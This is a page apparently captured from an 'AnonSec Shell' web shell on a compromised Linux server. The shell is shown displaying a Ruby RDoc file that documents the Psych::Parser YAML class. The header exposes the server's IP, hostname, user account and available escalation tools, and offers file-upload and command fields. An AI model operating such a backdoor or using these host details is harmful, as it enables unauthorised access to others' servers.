AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.46
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Psych/Parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Psych/Parser//cdesc-Parser.ri
U:RDoc::NormalClass[iI"Parser:ETI"Psych::Parser;TI"Object;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[
I"KYAML event parser class.  This class parses a YAML document and calls ;TI"Nevents on the handler that is passed to the constructor.  The events can ;TI"Nbe used for things such as constructing a YAML AST or deserializing YAML ;TI"Ldocuments.  It can even be fed back to Psych::Emitter to emit the same ;TI"document that was parsed.;To:RDoc::Markup::BlankLineo;	;[I"QSee Psych::Handler for documentation on the events that Psych::Parser emits.;T@o;	;[I"MHere is an example that prints out ever scalar found in a YAML document:;T@o:RDoc::Markup::Verbatim;[I"+# Handler for detecting scalar values
;TI"*class ScalarHandler < Psych::Handler
;TI";  def scalar value, anchor, tag, plain, quoted, style
;TI"    puts value
;TI"  end
;TI"	end
;TI"
;TI"3parser = Psych::Parser.new(ScalarHandler.new)
;TI"!parser.parse(yaml_document)
;T:@format0o;	;[I"NHere is an example that feeds the parser back in to Psych::Emitter.  The ;TI"EYAML document is read from STDIN and written back out to STDERR:;T@o;;[I"=parser = Psych::Parser.new(Psych::Emitter.new($stderr))
;TI"parser.parse($stdin)
;T;0o;	;[I"HPsych uses Psych::Parser in combination with Psych::TreeBuilder to ;TI"2construct an AST of the parsed YAML document.;T:
@fileI""ext/psych/lib/psych/parser.rb;T:0@omit_headings_from_table_of_contents_below0;
0;0[[
I"external_encoding;TI"W;T:publicFI""ext/psych/lib/psych/parser.rb;T[
I"handler;TI"RW;T;F@8[[[[I"
class;T[[;[[I"new;T@8[:protected[[:private[[I"
instance;T[[;[[;[[;[[[U:RDoc::Context::Section[i0o;;[;
0;0[@3I"
Psych;FcRDoc::NormalModule

Anon7 - 2022
AnonSec Team